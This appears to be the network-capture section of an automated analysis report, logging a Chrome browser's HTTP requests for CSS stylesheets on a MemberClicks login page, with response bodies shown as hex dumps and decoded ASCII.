2024-04-23 14:53:59 UTC	842	IN	Data Raw: 39 32 35 0d 0a 2f 2a 20 46 6f 72 6d 20 76 61 6c 69 64 61 74 69 6f 6e 20 2a 2f 0a 2e 69 6e 76 61 6c 69 64 20 7b 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 66 66 30 30 30 30 3b 20 7d 0a 6c 61 62 65 6c 2e 69 6e 76 61 6c 69 64 20 7b 20 63 6f 6c 6f 72 3a 20 23 66 66 30 30 30 30 3b 20 7d 0a 0a 2f 2a 20 42 75 74 74 6f 6e 73 20 2a 2f 0a 23 65 64 69 74 6f 72 2d 78 74 64 2d 62 75 74 74 6f 6e 73 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 35 70 78 3b 0a 7d 0a 0a 2e 62 75 74 74 6f 6e 32 2d 6c 65 66 74 2c 0a 2e 62 75 74 74 6f 6e 32 2d 72 69 67 68 74 2c 0a 2e 62 75 74 74 6f 6e 32 2d 6c 65 66 74 20 64 69 76 2c 0a 2e 62 75 74 74 6f 6e 32 2d 72 69 67 68 74 20 64 69 76 20 7b 0a 09 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 7d 0a 0a 2e 62 75 74 74 6f 6e 32 2d 6c 65 66 74 20 61 Data Ascii: 925/* Form validation /.invalid { border-color: #ff0000; }label.invalid { color: #ff0000; }/ Buttons */#editor-xtd-buttons {padding: 5px;}.button2-left,.button2-right,.button2-left div,.button2-right div {float: left;}.button2-left a
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 62 75 74 74 6f 6e 32 2d 72 69 67 68 74 20 61 2c 0a 2e 62 75 74 74 6f 6e 32 2d 72 69 67 68 74 20 73 70 61 6e 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 30 20 36 70 78 20 30 20 32 34 70 78 3b 0a 7d 0a 0a 2e 62 75 74 74 6f 6e 32 2d 6c 65 66 74 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 6a 5f 62 75 74 74 6f 6e 32 5f 6c 65 66 74 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 09 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 35 70 78 3b 0a 7d 0a 0a 2e 62 75 74 74 6f 6e 32 2d 72 69 67 68 74 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 6a 5f 62 75 74 74 6f 6e 32 5f 72 69 67 68 74 2e 70 6e 67 29 20 31 30 30 25 20 30 20 6e 6f 2d 72 65 70 65 Data Ascii: button2-right a,.button2-right span {padding: 0 6px 0 24px;}.button2-left {background: url(../images/j_button2_left.png) no-repeat;float: left;margin-left: 5px;}.button2-right {background: url(../images/j_button2_right.png) 100% 0 no-repe
2024-04-23 14:53:59 UTC	137	IN	Data Raw: 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 36 70 78 3b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 63 61 6c 65 6e 64 61 72 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 09 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0a 7d 0a 0d 0a Data Ascii: px;height: 16px;margin-left: 3px;background: url(../images/calendar.png) no-repeat;cursor: pointer;vertical-align: middle;}
2024-04-23 14:53:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49892	54.230.139.33	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:58 UTC	589	OUT	GET /2584/MCFrontEnd/style-cf.css?p279bq HTTP/1.1 Host: d1azc1qln24ryf.cloudfront.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:59 UTC	378	IN	HTTP/1.1 410 Gone Server: CloudFront Date: Tue, 23 Apr 2024 14:53:59 GMT Content-Length: 0 Connection: close X-Cache: FunctionGeneratedResponse from cloudfront Via: 1.1 a535fa541c5fafda6ab839d6787e3202.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL56-C2 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: C_TxEN8XIpYhk_ozyvh17mI2tQvgcKsIPay1Pe4ENzSXowJoCv60Tw== Vary: Origin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	49893	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:59 UTC	747	OUT	GET /jmc-assets/nivo-slider-css/nivo-slider.css HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:53:59 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:59 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Wed, 13 Feb 2013 19:15:06 GMT etag: W/"7cc-4d59ff5ba8280-gzip" vary: Accept-Encoding x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:53:59 GMT Cache-Control: public, max-age=3600 Server: cloudflare CF-RAY: 878eafaeff464558-ATL
2024-04-23 14:53:59 UTC	842	IN	Data Raw: 37 63 63 0d 0a 2f 2a 0d 0a 20 2a 20 6a 51 75 65 72 79 20 4e 69 76 6f 20 53 6c 69 64 65 72 20 76 33 2e 31 0d 0a 20 2a 20 68 74 74 70 3a 2f 2f 6e 69 76 6f 2e 64 65 76 37 73 74 75 64 69 6f 73 2e 63 6f 6d 0d 0a 20 2a 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 2c 20 44 65 76 37 73 74 75 64 69 6f 73 0d 0a 20 2a 20 46 72 65 65 20 74 6f 20 75 73 65 20 61 6e 64 20 61 62 75 73 65 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0d 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 0d 0a 20 2a 2f 0d 0a 20 0d 0a 2f 2a 20 54 68 65 20 4e 69 76 6f 20 53 6c 69 64 65 72 20 73 74 79 6c 65 73 20 2a 2f 0d 0a 2e 6e 69 76 6f 53 6c 69 Data Ascii: 7cc/* * jQuery Nivo Slider v3.1 * http://nivo.dev7studios.com * * Copyright 2012, Dev7studios * Free to use and abuse under the MIT license. * http://www.opensource.org/licenses/mit-license.php / / The Nivo Slider styles */.nivoSli
2024-04-23 14:53:59 UTC	1161	IN	Data Raw: 0a 09 7a 2d 69 6e 64 65 78 3a 35 3b 0d 0a 09 68 65 69 67 68 74 3a 31 30 30 25 3b 0d 0a 09 74 6f 70 3a 30 3b 0d 0a 7d 0d 0a 2e 6e 69 76 6f 2d 62 6f 78 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 7a 2d 69 6e 64 65 78 3a 35 3b 0d 0a 09 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 0d 0a 7d 0d 0a 2e 6e 69 76 6f 2d 62 6f 78 20 69 6d 67 20 7b 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 20 7d 0d 0a 0d 0a 2f 2a 20 43 61 70 74 69 6f 6e 20 73 74 79 6c 65 73 20 2a 2f 0d 0a 2e 6e 69 76 6f 2d 63 61 70 74 69 6f 6e 20 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 6c 65 66 74 3a 30 70 78 3b 0d 0a 09 62 6f 74 74 6f 6d 3a 30 70 78 3b 0d 0a 09 62 61 63 6b 67 Data Ascii: z-index:5;height:100%;top:0;}.nivo-box {display:block;position:absolute;z-index:5;overflow:hidden;}.nivo-box img { display:block; }/* Caption styles */.nivo-caption {position:absolute;left:0px;bottom:0px;backg
2024-04-23 14:53:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	49894	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:59 UTC	757	OUT	GET /jmc-assets/nivo-slider-css/nivo-themes/mc01/mc01.css HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:53:59 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:59 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Wed, 13 Feb 2013 19:15:07 GMT etag: W/"981-4d59ff5c9c4c0-gzip" vary: Accept-Encoding x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:53:59 GMT Cache-Control: public, max-age=3600 Server: cloudflare CF-RAY: 878eafafa8d18bb6-ATL
2024-04-23 14:53:59 UTC	842	IN	Data Raw: 39 38 31 0d 0a 2f 2a 0d 0a 0d 0a 53 6b 69 6e 20 4e 61 6d 65 3a 20 4d 43 30 31 20 28 44 65 66 61 75 6c 74 29 0d 0a 41 75 74 68 6f 72 3a 20 42 65 65 66 20 28 22 49 20 6a 75 73 74 20 74 77 65 61 6b 65 64 20 69 74 20 61 20 62 69 74 2e 22 29 0d 0a 0d 0a 2d 20 42 61 73 65 64 20 6f 6e 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 3a 20 2d 0d 0a 0d 0a 53 6b 69 6e 20 4e 61 6d 65 3a 20 4e 69 76 6f 20 53 6c 69 64 65 72 20 44 65 66 61 75 6c 74 20 54 68 65 6d 65 0d 0a 53 6b 69 6e 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 6e 69 76 6f 2e 64 65 76 37 73 74 75 64 69 6f 73 2e 63 6f 6d 0d 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 54 68 65 20 64 65 66 61 75 6c 74 20 73 6b 69 6e 20 66 6f 72 20 74 68 65 20 4e 69 76 6f 20 53 6c 69 64 65 72 2e 0d 0a 56 65 72 73 69 6f 6e 3a 20 31 2e 33 Data Ascii: 981/*Skin Name: MC01 (Default)Author: Beef ("I just tweaked it a bit.")- Based on the following: -Skin Name: Nivo Slider Default ThemeSkin URI: http://nivo.dev7studios.comDescription: The default skin for the Nivo Slider.Version: 1.3
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 72 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 20 30 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 30 2e 31 35 3b 0d 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 30 2e 35 73 3b 0d 0a 09 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 30 2e 35 73 3b 0d 0a 09 2d 6d 73 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 30 2e 35 73 3b 0d 0a 09 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 30 2e 35 73 3b 0d 0a 09 0d 0a 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6d 65 2d 6d 63 30 31 3a 68 6f 76 65 72 20 2e 6e 69 76 6f 2d 63 6f 6e 74 72 6f 6c 4e 61 76 20 7b 6f 70 61 63 69 74 79 3a 20 31 3b 7d 0d 0a 0d 0a 2e 74 68 65 6d 65 2d 6d 63 30 31 20 2e 6e 69 76 6f 2d 63 6f 6e 74 72 6f 6c 4e 61 76 20 61 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 69 6e 6c 69 Data Ascii: r;padding: 10px 0;opacity: 0.15;-webkit-transition: 0.5s;-moz-transition: 0.5s;-ms-transition: 0.5s;-o-transition: 0.5s;} .theme-mc01:hover .nivo-controlNav {opacity: 1;}.theme-mc01 .nivo-controlNav a {display:inli
2024-04-23 14:53:59 UTC	229	IN	Data Raw: 31 20 2e 6e 69 76 6f 2d 63 6f 6e 74 72 6f 6c 4e 61 76 2e 6e 69 76 6f 2d 74 68 75 6d 62 73 2d 65 6e 61 62 6c 65 64 20 61 20 7b 0d 0a 09 77 69 64 74 68 3a 20 61 75 74 6f 3b 0d 0a 09 68 65 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 3b 0d 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 35 70 78 3b 0d 0a 7d 0d 0a 2e 74 68 65 6d 65 2d 6d 63 30 31 20 2e 6e 69 76 6f 2d 63 6f 6e 74 72 6f 6c 4e 61 76 2e 6e 69 76 6f 2d 74 68 75 6d 62 73 2d 65 6e 61 62 6c 65 64 20 69 6d 67 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 09 77 69 64 74 68 3a 20 31 32 30 70 78 3b 0d 0a 09 68 65 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 7d 0d 0a Data Ascii: 1 .nivo-controlNav.nivo-thumbs-enabled a {width: auto;height: auto;background: none;margin-bottom: 5px;}.theme-mc01 .nivo-controlNav.nivo-thumbs-enabled img {display: block;width: 120px;height: auto;}
2024-04-23 14:53:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	49895	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:59 UTC	757	OUT	GET /jmc-assets/nivo-slider-css/nivo-themes/mc02/mc02.css HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:53:59 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:59 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Wed, 13 Feb 2013 19:15:06 GMT etag: W/"f29-4d59ff5ba8280-gzip" vary: Accept-Encoding x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:53:59 GMT Cache-Control: public, max-age=3600 Server: cloudflare CF-RAY: 878eafafbfa48bb7-ATL
2024-04-23 14:53:59 UTC	842	IN	Data Raw: 66 32 39 0d 0a 2f 2a 0d 0a 0d 0a 53 6b 69 6e 20 4e 61 6d 65 3a 20 4d 43 30 32 20 28 42 61 72 29 0d 0a 41 75 74 68 6f 72 3a 20 42 65 65 66 20 28 22 49 20 6a 75 73 74 20 74 77 65 61 6b 65 64 20 69 74 20 61 20 62 69 74 2e 22 29 0d 0a 0d 0a 2d 20 42 61 73 65 64 20 6f 6e 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 3a 20 2d 0d 0a 0d 0a 53 6b 69 6e 20 4e 61 6d 65 3a 20 4e 69 76 6f 20 53 6c 69 64 65 72 20 42 61 72 20 54 68 65 6d 65 0d 0a 53 6b 69 6e 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 6e 69 76 6f 2e 64 65 76 37 73 74 75 64 69 6f 73 2e 63 6f 6d 0d 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 54 68 65 20 62 6f 74 74 6f 6d 20 62 61 72 20 73 6b 69 6e 20 66 6f 72 20 74 68 65 20 4e 69 76 6f 20 53 6c 69 64 65 72 2e 0d 0a 56 65 72 73 69 6f 6e 3a 20 31 2e 30 0d 0a 41 75 74 Data Ascii: f29/*Skin Name: MC02 (Bar)Author: Beef ("I just tweaked it a bit.")- Based on the following: -Skin Name: Nivo Slider Bar ThemeSkin URI: http://nivo.dev7studios.comDescription: The bottom bar skin for the Nivo Slider.Version: 1.0Aut
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 78 3a 20 31 30 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 35 70 78 20 30 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 30 30 30 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 33 33 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 2d 6d 6f 7a 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 70 2c 20 20 23 35 36 35 36 35 36 20 30 25 2c 20 23 33 33 33 33 33 33 20 31 30 30 25 29 3b 20 2f 2a 20 46 46 33 2e 36 2b 20 2a 2f 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 2d 77 65 62 6b 69 74 2d Data Ascii: x: 10; width: 100%; height: 30px; text-align: center; padding: 5px 0; border-top: 1px solid #000; background: #333; background: -moz-linear-gradient(top, #565656 0%, #333333 100%); /* FF3.6+ */ background: -webkit-
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 2e 61 63 74 69 76 65 20 7b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 20 2d 32 32 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 74 68 65 6d 65 2d 6d 63 30 32 20 2e 6e 69 76 6f 2d 64 69 72 65 63 74 69 6f 6e 4e 61 76 20 61 20 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 30 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 20 20 74 65 78 74 2d 69 6e 64 65 6e 74 3a 20 31 31 30 25 3b 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 61 70 3b 0d 0a 20 20 20 20 74 6f 70 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 35 70 78 3b 0d 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 31 31 3b 0d 0a 20 Data Ascii: .active { background-position:0 -22px;}.theme-mc02 .nivo-directionNav a { display:block; border:0; color: #fff; text-indent: 110%; overflow: hidden; white-space: nowrap; top: auto; bottom: 5px; z-index: 11;
2024-04-23 14:53:59 UTC	308	IN	Data Raw: 4e 61 76 2e 6e 69 76 6f 2d 74 68 75 6d 62 73 2d 65 6e 61 62 6c 65 64 20 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 7d 0d 0a 2e 74 68 65 6d 65 2d 6d 63 30 32 20 2e 6e 69 76 6f 2d 63 6f 6e 74 72 6f 6c 4e 61 76 2e 6e 69 76 6f 2d 74 68 75 6d 62 73 2d 65 6e 61 62 6c 65 64 20 61 20 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 35 70 78 3b 0d 0a 7d 0d 0a 2e 74 68 65 6d 65 2d 6d 63 30 32 20 2e 6e 69 76 6f 2d 63 6f 6e 74 72 6f 6c 4e 61 76 2e 6e 69 76 6f 2d 74 68 75 6d 62 73 2d 65 6e 61 62 6c 65 64 20 69 6d 67 20 7b 0d 0a 20 20 20 20 64 69 73 70 6c Data Ascii: Nav.nivo-thumbs-enabled { width: 100%;}.theme-mc02 .nivo-controlNav.nivo-thumbs-enabled a { width: auto; height: auto; background: none; margin-bottom: 5px;}.theme-mc02 .nivo-controlNav.nivo-thumbs-enabled img { displ
2024-04-23 14:53:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49896	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:59 UTC	741	OUT	GET /templates/buckhead-jt/css/editor.css HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:53:59 UTC	528	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:59 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Mon, 06 Apr 2020 12:52:25 GMT etag: W/"c80e-5a29ebd2826f8-gzip" vary: Accept-Encoding x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:53:59 GMT Cache-Control: public, max-age=3600 Server: cloudflare CF-RAY: 878eafafbde7139a-ATL
2024-04-23 14:53:59 UTC	841	IN	Data Raw: 37 64 39 30 0d 0a 2f 2a 20 72 65 6d 6f 76 65 64 20 74 68 65 73 65 20 74 6f 20 61 63 63 6f 6d 6d 6f 64 61 74 65 20 6f 6c 64 65 72 20 65 78 69 73 74 69 6e 67 20 74 61 62 6c 65 73 3a 20 74 61 62 6c 65 2c 20 63 61 70 74 69 6f 6e 2c 20 74 62 6f 64 79 2c 20 74 66 6f 6f 74 2c 20 74 68 65 61 64 2c 20 74 72 2c 20 74 68 2c 20 74 64 20 2d 20 61 6c 73 6f 20 72 65 6d 6f 76 65 64 20 73 75 70 20 26 20 73 75 62 20 2a 2f 0d 0a 68 74 6d 6c 2c 20 62 6f 64 79 2c 20 64 69 76 2c 20 73 70 61 6e 2c 20 61 70 70 6c 65 74 2c 20 6f 62 6a 65 63 74 2c 20 69 66 72 61 6d 65 2c 0d 0a 68 31 2c 20 68 32 2c 20 68 33 2c 20 68 34 2c 20 68 35 2c 20 68 36 2c 20 70 2c 20 62 6c 6f 63 6b 71 75 6f 74 65 2c 20 70 72 65 2c 0d 0a 61 2c 20 61 62 62 72 2c 20 61 63 72 6f 6e 79 6d 2c 20 61 64 64 72 65 73 Data Ascii: 7d90/* removed these to accommodate older existing tables: table, caption, tbody, tfoot, thead, tr, th, td - also removed sup & sub */html, body, div, span, applet, object, iframe,h1, h2, h3, h4, h5, h6, p, blockquote, pre,a, abbr, acronym, addres
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 20 73 6f 6d 65 68 6f 77 20 2a 2f 0d 0a 69 6e 73 20 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 7d 0d 0a 64 65 6c 20 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6c 69 6e 65 2d 74 68 72 6f 75 67 68 3b 7d 0d 0a 2f 2a 20 74 61 62 6c 65 73 20 73 74 69 6c 6c 20 6e 65 65 64 20 27 63 65 6c 6c 73 70 61 63 69 6e 67 3d 22 30 22 27 20 69 6e 20 74 68 65 20 6d 61 72 6b 75 70 20 2a 2f 0d 0a 74 61 62 6c 65 20 7b 62 6f 72 64 65 72 2d 63 6f 6c 6c 61 70 73 65 3a 20 63 6f 6c 6c 61 70 73 65 3b 20 62 6f 72 64 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 3b 7d 0d 0a 0d 0a 0d 0a 0d 0a 2f 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: somehow /ins {text-decoration: none;}del {text-decoration: line-through;}/ tables still need 'cellspacing="0"' in the markup /table {border-collapse: collapse; border-spacing: 0;}/ -----------------------------------------------------
